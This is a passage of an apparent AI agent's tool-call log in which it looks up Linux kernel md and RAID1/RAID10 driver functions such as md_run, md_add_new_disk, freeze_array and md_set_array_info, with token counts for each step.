8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 308/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 139101
output: 25
thoughts: 0
|
| 309/2 |
2026/08/26 10:47 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_add_new_disk]
Results: map[SourceCode:7489: int md_add_new_disk(struct mddev *mddev, struct mdu_disk_info_s *info)
7490: {
7491: struct md_rdev *rdev;
7492: dev_t dev = MKDEV(info->major,info->minor);
7493:
7494: if (mddev_is_clustered(mddev) &&
7495: !(info->state & ((1 << MD_DISK_CLUSTER_ADD) | (1 << MD_DISK_CANDIDATE)))) {
7496: pr_warn("%s: Cannot add to clustered mddev.\n",
7497: mdname(mddev));
7498: return -EINVAL;
7499: }
7500:
7501: if (info->major != MAJOR(dev) || info->minor != MINOR(dev))
7502: return -EOVERFLOW;
7503:
7504: if (!mddev->raid_disks) {
7505: int err;
7506: /* expecting a device which has a superblock */
7507: rdev = md_import_device(dev, mddev->major_version, mddev->minor_version);
7508: if (IS_ERR(rdev)) {
7509: pr_warn("md: md_import_device returned %ld\n",
7510: PTR_ERR(rdev));
7511: return PTR_ERR(rdev);
7512: }
7513: if (!list_empty(&mddev->disks)) {
7514: struct md_rdev *rdev0
7515: = list_entry(mddev->disks.next,
7516: struct md_rdev, same_set);
7517: err = super_types[mddev->major_version]
7518: .load_super(rdev, rdev0, mddev->minor_version);
7519: if (err < 0) {
7520: pr_warn("md: %pg has different UUID to %pg\n",
7521: rdev->bdev,
7522: rdev0->bdev);
7523: export_rdev(rdev);
7524: return -EINVAL;
7525: }
7526: }
7527: err = bind_rdev_to_array(rdev, mddev);
7528: if (err)
7529: export_rdev(rdev);
7530: return err;
7531: }
7532:
7533: /*
7534: * md_add_new_disk can be used once the array is assembled
7535: * to add "hot spares". They must already have a superblock
7536: * written
7537: */
7538: if (mddev->pers) {
7539: int err;
7540: if (!mddev->pers->hot_add_disk) {
7541: pr_warn("%s: personality does not support diskops!\n",
7542: mdname(mddev));
7543: return -EINVAL;
7544: }
7545: if (mddev->persistent)
7546: rdev = md_import_device(dev, mddev->major_version,
7547: mddev->minor_version);
7548: else
7549: rdev = md_import_device(dev, -1, -1);
7550: if (IS_ERR(rdev)) {
7551: pr_warn("md: md_import_device returned %ld\n",
7552: PTR_ERR(rdev));
7553: return PTR_ERR(rdev);
7554: }
7555: /* set saved_raid_disk if appropriate */
7556: if (!mddev->persistent) {
7557: if (info->state & (1<<MD_DISK_SYNC) &&
7558: info->raid_disk < mddev->raid_disks) {
7559: rdev->raid_disk = info->raid_disk;
7560: clear_bit(Bitmap_sync, &rdev->flags);
7561: } else
7562: rdev->raid_disk = -1;
7563: rdev->saved_raid_disk = rdev->raid_disk;
7564: } else
7565: super_types[mddev->major_version].
7566: validate_super(mddev, NULL/*freshest*/, rdev);
7567: if ((info->state & (1<<MD_DISK_SYNC)) &&
7568: rdev->raid_disk != info->raid_disk) {
7569: /* This was a hot-add request, but events doesn't
7570: * match, so reject it.
7571: */
7572: export_rdev(rdev);
7573: return -EINVAL;
7574: }
7575:
7576: clear_bit(In_sync, &rdev->flags); /* just to be sure */
7577: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7578: set_bit(WriteMostly, &rdev->flags);
7579: else
7580: clear_bit(WriteMostly, &rdev->flags);
7581: if (info->state & (1<<MD_DISK_FAILFAST))
7582: set_bit(FailFast, &rdev->flags);
7583: else
7584: clear_bit(FailFast, &rdev->flags);
7585:
7586: if (info->state & (1<<MD_DISK_JOURNAL)) {
7587: struct md_rdev *rdev2;
7588: bool has_journal = false;
7589:
7590: /* make sure no existing journal disk */
7591: rdev_for_each(rdev2, mddev) {
7592: if (test_bit(Journal, &rdev2->flags)) {
7593: has_journal = true;
7594: break;
7595: }
7596: }
7597: if (has_journal || mddev->bitmap) {
7598: export_rdev(rdev);
7599: return -EBUSY;
7600: }
7601: set_bit(Journal, &rdev->flags);
7602: }
7603: /*
7604: * check whether the device shows up in other nodes
7605: */
7606: if (mddev_is_clustered(mddev)) {
7607: if (info->state & (1 << MD_DISK_CANDIDATE))
7608: set_bit(Candidate, &rdev->flags);
7609: else if (info->state & (1 << MD_DISK_CLUSTER_ADD)) {
7610: /* --add initiated by this node */
7611: err = mddev->cluster_ops->add_new_disk(mddev, rdev);
7612: if (err) {
7613: export_rdev(rdev);
7614: return err;
7615: }
7616: }
7617: }
7618:
7619: rdev->raid_disk = -1;
7620: err = bind_rdev_to_array(rdev, mddev);
7621:
7622: if (err)
7623: export_rdev(rdev);
7624:
7625: if (mddev_is_clustered(mddev)) {
7626: if (info->state & (1 << MD_DISK_CANDIDATE)) {
7627: if (!err) {
7628: err = mddev->cluster_ops->new_disk_ack(
7629: mddev, err == 0);
7630: if (err)
7631: md_kick_rdev_from_array(rdev);
7632: }
7633: } else {
7634: if (err)
7635: mddev->cluster_ops->add_new_disk_cancel(mddev);
7636: else
7637: err = add_bound_rdev(rdev);
7638: }
7639:
7640: } else if (!err)
7641: err = add_bound_rdev(rdev);
7642:
7643: return err;
7644: }
7645:
7646: /* otherwise, md_add_new_disk is only allowed
7647: * for major_version==0 superblocks
7648: */
7649: if (mddev->major_version != 0) {
7650: pr_warn("%s: ADD_NEW_DISK not supported\n", mdname(mddev));
7651: return -EINVAL;
7652: }
7653:
7654: if (!(info->state & (1<<MD_DISK_FAULTY))) {
7655: int err;
7656: rdev = md_import_device(dev, -1, 0);
7657: if (IS_ERR(rdev)) {
7658: pr_warn("md: error, md_import_device() returned %ld\n",
7659: PTR_ERR(rdev));
7660: return PTR_ERR(rdev);
7661: }
7662: rdev->desc_nr = info->number;
7663: if (info->raid_disk < mddev->raid_disks)
7664: rdev->raid_disk = info->raid_disk;
7665: else
7666: rdev->raid_disk = -1;
7667:
7668: if (rdev->raid_disk < mddev->raid_disks)
7669: if (info->state & (1<<MD_DISK_SYNC))
7670: set_bit(In_sync, &rdev->flags);
7671:
7672: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7673: set_bit(WriteMostly, &rdev->flags);
7674: if (info->state & (1<<MD_DISK_FAILFAST))
7675: set_bit(FailFast, &rdev->flags);
7676:
7677: if (!mddev->persistent) {
7678: pr_debug("md: nonpersistent superblock ...\n");
7679: rdev->sb_start = bdev_nr_sectors(rdev->bdev);
7680: } else
7681: rdev->sb_start = calc_dev_sboffset(rdev);
7682: rdev->sectors = rdev->sb_start;
7683:
7684: err = bind_rdev_to_array(rdev, mddev);
7685: if (err) {
7686: export_rdev(rdev);
7687: return err;
7688: }
7689: }
7690:
7691: return 0;
7692: }
SourceFile:drivers/md/md.c]
|
| 310/2 |
2026/08/26 10:47 |
llm |
expert |
0m
Model:
Tokens:
input: 142324
output: 21
thoughts: 0
|
| 311/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6650: int md_run(struct mddev *mddev)
6651: {
6652: int err;
6653: struct md_rdev *rdev;
6654: struct md_personality *pers;
6655:
6656: if (list_empty(&mddev->disks))
6657: /* cannot run an array with no devices.. */
6658: return -EINVAL;
6659:
6660: if (mddev->pers)
6661: return -EBUSY;
6662: /* Cannot run until previous stop completes properly */
6663: if (mddev->sysfs_active)
6664: return -EBUSY;
6665:
6666: /*
6667: * Analyze all RAID superblock(s)
6668: */
6669: if (!mddev->raid_disks) {
6670: if (!mddev->persistent)
6671: return -EINVAL;
6672: err = analyze_sbs(mddev);
6673: if (err)
6674: return -EINVAL;
6675: }
6676:
6677: if (mddev->level != LEVEL_NONE)
6678: request_module("md-level-%d", mddev->level);
6679: else if (mddev->clevel[0])
6680: request_module("md-%s", mddev->clevel);
6681:
6682: /*
6683: * Drop all container device buffers, from now on
6684: * the only valid external interface is through the md
6685: * device.
6686: */
6687: clear_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6688: rdev_for_each(rdev, mddev) {
6689: if (test_bit(Faulty, &rdev->flags))
6690: continue;
6691: sync_blockdev(rdev->bdev);
6692: invalidate_bdev(rdev->bdev);
6693: if (mddev->ro != MD_RDONLY && rdev_read_only(rdev)) {
6694: mddev->ro = MD_RDONLY;
6695: if (!mddev_is_dm(mddev))
6696: set_disk_ro(mddev->gendisk, 1);
6697: }
6698:
6699: if (rdev->sb_page)
6700: set_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6701:
6702: /* perform some consistency tests on the device.
6703: * We don't want the data to overlap the metadata,
6704: * Internal Bitmap issues have been handled elsewhere.
6705: */
6706: if (rdev->meta_bdev) {
6707: /* Nothing to check */;
6708: } else if (rdev->data_offset < rdev->sb_start) {
6709: if (mddev->dev_sectors &&
6710: rdev->data_offset + mddev->dev_sectors
6711: > rdev->sb_start) {
6712: pr_warn("md: %s: data overlaps metadata\n",
6713: mdname(mddev));
6714: return -EINVAL;
6715: }
6716: } else {
6717: if (rdev->sb_start + rdev->sb_size/512
6718: > rdev->data_offset) {
6719: pr_warn("md: %s: metadata overlaps data\n",
6720: mdname(mddev));
6721: return -EINVAL;
6722: }
6723: }
6724: sysfs_notify_dirent_safe(rdev->sysfs_state);
6725: }
6726:
6727: pers = get_pers(mddev->level, mddev->clevel);
6728: if (!pers)
6729: return -EINVAL;
6730: if (mddev->level != pers->head.id) {
6731: mddev->level = pers->head.id;
6732: mddev->new_level = pers->head.id;
6733: }
6734: strscpy(mddev->clevel, pers->head.name, sizeof(mddev->clevel));
6735:
6736: if (mddev->reshape_position != MaxSector &&
6737: pers->start_reshape == NULL) {
6738: /* This personality cannot handle reshaping... */
6739: put_pers(pers);
6740: return -EINVAL;
6741: }
6742:
6743: if (pers->sync_request) {
6744: /* Warn if this is a potentially silly
6745: * configuration.
6746: */
6747: struct md_rdev *rdev2;
6748: int warned = 0;
6749:
6750: rdev_for_each(rdev, mddev)
6751: rdev_for_each(rdev2, mddev) {
6752: if (rdev < rdev2 &&
6753: rdev->bdev->bd_disk ==
6754: rdev2->bdev->bd_disk) {
6755: pr_warn("%s: WARNING: %pg appears to be on the same physical disk as %pg.\n",
6756: mdname(mddev),
6757: rdev->bdev,
6758: rdev2->bdev);
6759: warned = 1;
6760: }
6761: }
6762:
6763: if (warned)
6764: pr_warn("True protection against single-disk failure might be compromised.\n");
6765: }
6766:
6767: /* dm-raid expect sync_thread to be frozen until resume */
6768: if (!mddev_is_dm(mddev))
6769: mddev->recovery = 0;
6770:
6771: /* may be over-ridden by personality */
6772: mddev->resync_max_sectors = mddev->dev_sectors;
6773:
6774: mddev->ok_start_degraded = start_dirty_degraded;
6775:
6776: if (start_readonly && md_is_rdwr(mddev))
6777: mddev->ro = MD_AUTO_READ; /* read-only, but switch on first write */
6778:
6779: err = pers->run(mddev);
6780: if (err)
6781: pr_warn("md: pers->run() failed ...\n");
6782: else if (pers->size(mddev, 0, 0) < mddev->array_sectors) {
6783: WARN_ONCE(!mddev->external_size,
6784: "%s: default size too small, but 'external_size' not in effect?\n",
6785: __func__);
6786: pr_warn("md: invalid array_size %llu > default size %llu\n",
6787: (unsigned long long)mddev->array_sectors / 2,
6788: (unsigned long long)pers->size(mddev, 0, 0) / 2);
6789: err = -EINVAL;
6790: }
6791: if (err == 0 && pers->sync_request &&
6792: (mddev->bitmap_info.file || mddev->bitmap_info.offset)) {
6793: err = md_bitmap_create(mddev);
6794: if (err)
6795: pr_warn("%s: failed to create bitmap (%d)\n",
6796: mdname(mddev), err);
6797: }
6798: if (err)
6799: goto bitmap_abort;
6800:
6801: if (mddev->bitmap_info.max_write_behind > 0) {
6802: bool create_pool = false;
6803:
6804: rdev_for_each(rdev, mddev) {
6805: if (test_bit(WriteMostly, &rdev->flags) &&
6806: rdev_init_serial(rdev))
6807: create_pool = true;
6808: }
6809: if (create_pool && mddev->serial_info_pool == NULL) {
6810: mddev->serial_info_pool =
6811: mempool_create_kmalloc_pool(NR_SERIAL_INFOS,
6812: sizeof(struct serial_info));
6813: if (!mddev->serial_info_pool) {
6814: err = -ENOMEM;
6815: goto bitmap_abort;
6816: }
6817: }
6818: }
6819:
6820: if (pers->sync_request) {
6821: if (mddev->kobj.sd &&
6822: sysfs_create_group(&mddev->kobj, &md_redundancy_group))
6823: pr_warn("md: cannot register extra attributes for %s\n",
6824: mdname(mddev));
6825: mddev->sysfs_action = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_action");
6826: mddev->sysfs_completed = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_completed");
6827: mddev->sysfs_degraded = sysfs_get_dirent_safe(mddev->kobj.sd, "degraded");
6828: } else if (mddev->ro == MD_AUTO_READ)
6829: mddev->ro = MD_RDWR;
6830:
6831: atomic_set(&mddev->max_corr_read_errors,
6832: MD_DEFAULT_MAX_CORRECTED_READ_ERRORS);
6833: mddev->safemode = 0;
6834: if (mddev_is_clustered(mddev))
6835: mddev->safemode_delay = 0;
6836: else
6837: mddev->safemode_delay = DEFAULT_SAFEMODE_DELAY;
6838: mddev->in_sync = 1;
6839: smp_wmb();
6840: spin_lock(&mddev->lock);
6841: mddev->pers = pers;
6842: spin_unlock(&mddev->lock);
6843: rdev_for_each(rdev, mddev)
6844: if (rdev->raid_disk >= 0)
6845: sysfs_link_rdev(mddev, rdev); /* failure here is OK */
6846:
6847: if (mddev->degraded && md_is_rdwr(mddev))
6848: /* This ensures that recovering status is reported immediately
6849: * via sysfs - until a lack of spares is confirmed.
6850: */
6851: set_bit(MD_RECOVERY_RECOVER, &mddev->recovery);
6852: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
6853:
6854: if (mddev->sb_flags)
6855: md_update_sb(mddev, 0);
6856:
6857: if (IS_ENABLED(CONFIG_MD_BITMAP) && !mddev->bitmap_info.file &&
6858: !mddev->bitmap_info.offset)
6859: md_bitmap_set_none(mddev);
6860:
6861: md_new_event();
6862: return 0;
6863:
6864: bitmap_abort:
6865: mddev_detach(mddev);
6866: if (mddev->private)
6867: pers->free(mddev, mddev->private);
6868: mddev->private = NULL;
6869: put_pers(pers);
6870: md_bitmap_destroy(mddev);
6871: return err;
6872: }
SourceFile:drivers/md/md.c]
|
| 312/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 145895
output: 22
thoughts: 0
|
| 313/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 314/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 146198
output: 24
thoughts: 0
|
| 315/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3411: static void raid1_quiesce(struct mddev *mddev, int quiesce)
3412: {
3413: struct r1conf *conf = mddev->private;
3414:
3415: if (quiesce)
3416: freeze_array(conf, 0);
3417: else
3418: unfreeze_array(conf);
3419: }
SourceFile:drivers/md/raid1.c]
|
| 316/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 146373
output: 35
thoughts: 0
|
| 317/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:freeze_array]
Results: map[SourceCode:1183: static void freeze_array(struct r1conf *conf, int extra)
1184: {
1185: /* Stop sync I/O and normal I/O and wait for everything to
1186: * go quiet.
1187: * This is called in two situations:
1188: * 1) management command handlers (reshape, remove disk, quiesce).
1189: * 2) one normal I/O request failed.
1190:
1191: * After array_frozen is set to 1, new sync IO will be blocked at
1192: * raise_barrier(), and new normal I/O will blocked at _wait_barrier()
1193: * or wait_read_barrier(). The flying I/Os will either complete or be
1194: * queued. When everything goes quite, there are only queued I/Os left.
1195:
1196: * Every flying I/O contributes to a conf->nr_pending[idx], idx is the
1197: * barrier bucket index which this I/O request hits. When all sync and
1198: * normal I/O are queued, sum of all conf->nr_pending[] will match sum
1199: * of all conf->nr_queued[]. But normal I/O failure is an exception,
1200: * in handle_read_error(), we may call freeze_array() before trying to
1201: * fix the read error. In this case, the error read I/O is not queued,
1202: * so get_unqueued_pending() == 1.
1203: *
1204: * Therefore before this function returns, we need to wait until
1205: * get_unqueued_pendings(conf) gets equal to extra. For
1206: * normal I/O context, extra is 1, in rested situations extra is 0.
1207: */
1208: spin_lock_irq(&conf->resync_lock);
1209: conf->array_frozen = 1;
1210: mddev_add_trace_msg(conf->mddev, "raid1 wait freeze");
1211: wait_event_lock_irq_cmd(
1212: conf->wait_barrier,
1213: get_unqueued_pending(conf) == extra,
1214: conf->resync_lock,
1215: flush_pending_writes(conf));
1216: spin_unlock_irq(&conf->resync_lock);
1217: }
SourceFile:drivers/md/raid1.c]
|
| 318/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 147109
output: 24
thoughts: 0
|
| 319/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[Name:get_unqueued_pending]
Results: map[SourceCode:1170: /* conf->resync_lock should be held */
1171: static int get_unqueued_pending(struct r1conf *conf)
1172: {
1173: int idx, ret;
1174:
1175: ret = atomic_read(&conf->nr_sync_pending);
1176: for (idx = 0; idx < BARRIER_BUCKETS_NR; idx++)
1177: ret += atomic_read(&conf->nr_pending[idx]) -
1178: atomic_read(&conf->nr_queued[idx]);
1179:
1180: return ret;
1181: }
SourceFile:drivers/md/raid1.c]
|
| 320/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 147345
output: 23
thoughts: 0
|
| 321/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[Name:flush_pending_writes]
Results: map[SourceCode: 875: static void flush_pending_writes(struct r10conf *conf)
876: {
877: /* Any writes that have been queued but are awaiting
878: * bitmap updates get flushed here.
879: */
880: spin_lock_irq(&conf->device_lock);
881:
882: if (conf->pending_bio_list.head) {
883: struct blk_plug plug;
884: struct bio *bio;
885:
886: bio = bio_list_get(&conf->pending_bio_list);
887: spin_unlock_irq(&conf->device_lock);
888:
889: /*
890: * As this is called in a wait_event() loop (see freeze_array),
891: * current->state might be TASK_UNINTERRUPTIBLE which will
892: * cause a warning when we prepare to wait again. As it is
893: * rare that this path is taken, it is perfectly safe to force
894: * us to go around the wait_event() loop again, so the warning
895: * is a false-positive. Silence the warning by resetting
896: * thread state
897: */
898: __set_current_state(TASK_RUNNING);
899:
900: blk_start_plug(&plug);
901: raid1_prepare_flush_writes(conf->mddev);
902: wake_up(&conf->wait_barrier);
903:
904: while (bio) { /* submit pending writes */
905: struct bio *next = bio->bi_next;
906:
907: raid1_submit_write(bio);
908: bio = next;
909: cond_resched();
910: }
911: blk_finish_plug(&plug);
912: } else
913: spin_unlock_irq(&conf->device_lock);
914: }
SourceFile:drivers/md/raid10.c]
|
| 322/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 147985
output: 37
thoughts: 0
|
| 323/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:flush_pending_writes]
Results: map[SourceCode: 940: static void flush_pending_writes(struct r1conf *conf)
941: {
942: /* Any writes that have been queued but are awaiting
943: * bitmap updates get flushed here.
944: */
945: spin_lock_irq(&conf->device_lock);
946:
947: if (conf->pending_bio_list.head) {
948: struct blk_plug plug;
949: struct bio *bio;
950:
951: bio = bio_list_get(&conf->pending_bio_list);
952: spin_unlock_irq(&conf->device_lock);
953:
954: /*
955: * As this is called in a wait_event() loop (see freeze_array),
956: * current->state might be TASK_UNINTERRUPTIBLE which will
957: * cause a warning when we prepare to wait again. As it is
958: * rare that this path is taken, it is perfectly safe to force
959: * us to go around the wait_event() loop again, so the warning
960: * is a false-positive. Silence the warning by resetting
961: * thread state
962: */
963: __set_current_state(TASK_RUNNING);
964: blk_start_plug(&plug);
965: flush_bio_list(conf, bio);
966: blk_finish_plug(&plug);
967: } else
968: spin_unlock_irq(&conf->device_lock);
969: }
SourceFile:drivers/md/raid1.c]
|
| 324/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 148514
output: 23
thoughts: 0
|
| 325/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 925: static void flush_bio_list(struct r1conf *conf, struct bio *bio)
926: {
927: /* flush any pending bitmap writes to disk before proceeding w/ I/O */
928: raid1_prepare_flush_writes(conf->mddev);
929: wake_up_barrier(conf);
930:
931: while (bio) { /* submit pending writes */
932: struct bio *next = bio->bi_next;
933:
934: raid1_submit_write(bio);
935: bio = next;
936: cond_resched();
937: }
938: }
SourceFile:drivers/md/raid1.c]
|
| 326/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 148766
output: 26
thoughts: 0
|
| 327/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_prepare_flush_writes]
Results: map[SourceCode: 158: /*
159: * current->bio_list will be set under submit_bio() context, in this case bitmap
160: * io will be added to the list and wait for current io submission to finish,
161: * while current io submission must wait for bitmap io to be done. In order to
162: * avoid such deadlock, submit bitmap io asynchronously.
163: */
164: static inline void raid1_prepare_flush_writes(struct mddev *mddev)
165: {
166: mddev->bitmap_ops->unplug(mddev, current->bio_list == NULL);
167: }
SourceFile:drivers/md/raid1-10.c]
|
| 328/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 149004
output: 23
thoughts: 0
|
| 329/2 |
2026/08/26 10:48 |
tool |
codesearch-definition-source |
0m
Args: map[Name:wake_up_barrier]
Results: map[SourceCode: 302: static void wake_up_barrier(struct r10conf *conf)
303: {
304: if (wq_has_sleeper(&conf->wait_barrier))
305: wake_up(&conf->wait_barrier);
306: }
SourceFile:drivers/md/raid10.c]
|
| 330/2 |
2026/08/26 10:48 |
llm |
expert |
0m
Model:
Tokens:
input: 149137
output: 37
thoughts: 0
|
| 331/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:wake_up_barrier]
Results: map[SourceCode: 919: static void wake_up_barrier(struct r1conf *conf)
920: {
921: if (wq_has_sleeper(&conf->wait_barrier))
922: wake_up(&conf->wait_barrier);
923: }
SourceFile:drivers/md/raid1.c]
|
| 332/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 149282
output: 24
thoughts: 0
|
| 333/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_submit_write]
Results: map[SourceCode: 112: static inline void raid1_submit_write(struct bio *bio)
113: {
114: struct md_rdev *rdev = (void *)bio->bi_bdev;
115:
116: bio->bi_next = NULL;
117: bio_set_dev(bio, rdev->bdev);
118: if (test_bit(Faulty, &rdev->flags))
119: bio_io_error(bio);
120: else if (unlikely(bio_op(bio) == REQ_OP_DISCARD &&
121: !bdev_max_discard_sectors(bio->bi_bdev)))
122: /* Just ignore it */
123: bio_endio(bio);
124: else
125: submit_bio_noacct(bio);
126: }
SourceFile:drivers/md/raid1-10.c]
|
| 334/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 149587
output: 25
thoughts: 0
|
| 335/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_set_array_info]
Results: map[SourceCode:7894: /*
7895: * md_set_array_info is used two different ways
7896: * The original usage is when creating a new array.
7897: * In this usage, raid_disks is > 0 and it together with
7898: * level, size, not_persistent,layout,chunksize determine the
7899: * shape of the array.
7900: * This will always create an array with a type-0.90.0 superblock.
7901: * The newer usage is when assembling an array.
7902: * In this case raid_disks will be 0, and the major_version field is
7903: * use to determine which style super-blocks are to be found on the devices.
7904: * The minor and patch _version numbers are also kept incase the
7905: * super_block handler wishes to interpret them.
7906: */
7907: int md_set_array_info(struct mddev *mddev, struct mdu_array_info_s *info)
7908: {
7909: if (info->raid_disks == 0) {
7910: /* just setting version number for superblock loading */
7911: if (info->major_version < 0 ||
7912: info->major_version >= ARRAY_SIZE(super_types) ||
7913: super_types[info->major_version].name == NULL) {
7914: /* maybe try to auto-load a module? */
7915: pr_warn("md: superblock version %d not known\n",
7916: info->major_version);
7917: return -EINVAL;
7918: }
7919: mddev->major_version = info->major_version;
7920: mddev->minor_version = info->minor_version;
7921: mddev->patch_version = info->patch_version;
7922: mddev->persistent = !info->not_persistent;
7923: /* ensure mddev_put doesn't delete this now that there
7924: * is some minimal configuration.
7925: */
7926: mddev->ctime = ktime_get_real_seconds();
7927: return 0;
7928: }
7929: mddev->major_version = MD_MAJOR_VERSION;
7930: mddev->minor_version = MD_MINOR_VERSION;
7931: mddev->patch_version = MD_PATCHLEVEL_VERSION;
7932: mddev->ctime = ktime_get_real_seconds();
7933:
7934: mddev->level = info->level;
7935: mddev->clevel[0] = 0;
7936: mddev->dev_sectors = 2 * (sector_t)info->size;
7937: mddev->raid_disks = info->raid_disks;
7938: /* don't set md_minor, it is determined by which /dev/md* was
7939: * openned
7940: */
7941: if (info->state & (1<<MD_SB_CLEAN))
7942: mddev->resync_offset = MaxSector;
7943: else
7944: mddev->resync_offset = 0;
7945: mddev->persistent = ! info->not_persistent;
7946: mddev->external = 0;
7947:
7948: mddev->layout = info->layout;
7949: if (mddev->level == 0)
7950: /* Cannot trust RAID0 layout info here */
7951: mddev->layout = -1;
7952: mddev->chunk_sectors = info->chunk_size >> 9;
7953:
7954: if (mddev->persistent) {
7955: mddev->max_disks = MD_SB_DISKS;
7956: mddev->flags = 0;
7957: mddev->sb_flags = 0;
7958: }
7959: set_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags);
7960:
7961: mddev->bitmap_info.default_offset = MD_SB_BYTES >> 9;
7962: mddev->bitmap_info.default_space = 64*2 - (MD_SB_BYTES >> 9);
7963: mddev->bitmap_info.offset = 0;
7964:
7965: mddev->reshape_position = MaxSector;
7966:
7967: /*
7968: * Generate a 128 bit UUID
7969: */
7970: get_random_bytes(mddev->uuid, 16);
7971:
7972: mddev->new_level = mddev->level;
7973: mddev->new_chunk_sectors = mddev->chunk_sectors;
7974: mddev->new_layout = mddev->layout;
7975: mddev->delta_disks = 0;
7976: mddev->reshape_backwards = 0;
7977:
7978: return 0;
7979: }
SourceFile:drivers/md/md.c]
|
| 336/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 151107
output: 26
thoughts: 0
|
| 337/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_set_array_info]
Results: map[SourceCode:8308: static int __md_set_array_info(struct mddev *mddev, void __user *argp)
8309: {
8310: mdu_array_info_t info;
8311: int err;
8312:
8313: if (!argp)
8314: memset(&info, 0, sizeof(info));
8315: else if (copy_from_user(&info, argp, sizeof(info)))
8316: return -EFAULT;
8317:
8318: if (mddev->pers) {
8319: err = update_array_info(mddev, &info);
8320: if (err)
8321: pr_warn("md: couldn't update array info. %d\n", err);
8322: return err;
8323: }
8324:
8325: if (!list_empty(&mddev->disks)) {
8326: pr_warn("md: array %s already has disks!\n", mdname(mddev));
8327: return -EBUSY;
8328: }
8329:
8330: if (mddev->raid_disks) {
8331: pr_warn("md: array %s already initialised!\n", mdname(mddev));
8332: return -EBUSY;
8333: }
8334:
8335: err = md_set_array_info(mddev, &info);
8336: if (err)
8337: pr_warn("md: couldn't set array info. %d\n", err);
8338:
8339: return err;
8340: }
SourceFile:drivers/md/md.c]
|
| 338/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 151646
output: 23
thoughts: 0
|
| 339/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 340/2 |
2026/08/26 10:49 |
llm |
expert |
0m
Model:
Tokens:
input: 152038
output: 21
thoughts: 0
|
| 341/2 |
2026/08/26 10:49 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
